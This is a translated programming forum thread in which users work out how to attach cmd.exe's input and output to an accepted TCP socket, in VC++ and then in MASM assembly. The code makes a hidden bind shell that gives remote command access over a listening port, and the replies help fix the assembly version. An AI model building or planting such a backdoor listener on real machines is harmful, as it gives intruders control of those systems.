[Discussion] How to realize the output of cmd in win32 assembly

fengjk2006

VC++ is like this:

ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
   ret=listen(listenFD,2);
   //If the client requests port 830, accept the connection
   int iAddrSize = sizeof(server);
   SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);

   STARTUPINFO si;
   ZeroMemory(&si,sizeof(si));
   si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
   si.wShowWindow = SW_HIDE;
   si.wShowWindow = SW_SHOWNORMAL;
   
   si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
   char cmdLine[] = "cmd.exe";
   PROCESS_INFORMATION ProcessInformation;
   //Establish process
   ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
   
   return 0;
}

This code realizes the output redirection of cmd, but I don’t know how to do it with assembly. Generally, I use CreateProcess to execute the command line directly.....
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    invoke WSAStartup, 0202H, addr @wsaData; initialize WSAStartup library
       invoke RtlZeroMemory,addr @stAddr,sizeof sockaddr_in; clear memory
       mov @stAddr.sin_family,AF_INET; Set IP format
       invoke htons, TCP_PORT; set the port
       mov @stAddr.sin_port,ax; save
       mov @stAddr.sin_addr,INADDR_ANY; set the IP address
       invoke socket,AF_INET,SOCK_STREAM,0; load socket
       .if eax != INVALID_SOCKET
       mov hScoket,eax; save the handle
       .endif
       invoke bind,hScoket,addr @stAddr,sizeof sockaddr_in; bind
       .if eax != SOCKET_ERROR
       invoke listen,hScoket,5; start listening, 5 connections are by default
       .endif
       invoke accept, hScoket, NULL, NULL; if there is a client connection, confirm immediately
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invoke recv,hScoket1,addr szBuffer,1024,0; start receiving commands
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invoke GetStartupInfo,addr stStartUp
       invoke CreateProcess,NULL,addr szBuffer,NULL,NULL,NULL,\; if yes, process it
           CREATE_NO_WINDOW,NULL,NULL,addr stStartUp,addr stProcInfo

This is very troublesome, if you can directly realize the cmd output steering, it will be very good

xsteel

If vc is available, win32asm is also available, use /subsystem:console to connect, and then use
The console api is fine.

fengjk2006

Should I use /subsystem:console in link　VC code or asm?

xsteel

Used in masm32 link.

fengjk2006

:(

I added 　 it doesn't seem to work

www_james

The host did not point the hStdInput, hStdOutput, and hStdError members in the StartupInfo structure when the cmd.exe process was created to the handle returned by the previous accept() function. This is done in the c above

xukai8

nodxsteelon the first floor 　 You used the console, but did not use the console API, there is still no result.
invoke stdout,addr szBuffer
invoke stdin,addr szBuffer
Use standard console API input and output statements

fengjk2006

Doesn’t seem to need to use the console API?

The input is only on the client side, if it is logged in via telnet, there is already. The server does not need to go to stdout, at most one send is sent to the client

fengjk2006

szCommand　db'cmd.exe',0
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      invoke accept, hScoket, NULL, NULL; if there is a client connection, confirm immediately
       .if eax != INVALID_SOCKET
       mov hScoketOther,eax
      invoke GetStartupInfo,addr stStartUp
      mov ebx,hScoketOther
mov stStartUp.hStdInput,ebx
mov stStartUp.hStdOutput,ebx
mov stStartUp.hStdError,ebx
mov stStartUp.dwFlags,STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES
mov stStartUp.wShowWindow,SW_HIDE
mov stStartUp.wShowWindow,SW_SHOWNORMAL
invoke CreateProcess,NULL,addr szCommand,NULL,NULL,\
NULL,NORMAL_PRIORITY_CLASS,NULL,NULL,offset stStartUp,offset stProcInfo
.endif
       Sweaty, once connected, immediately disconnected...

mars1004

Just use pipe. msdn has the complete source code.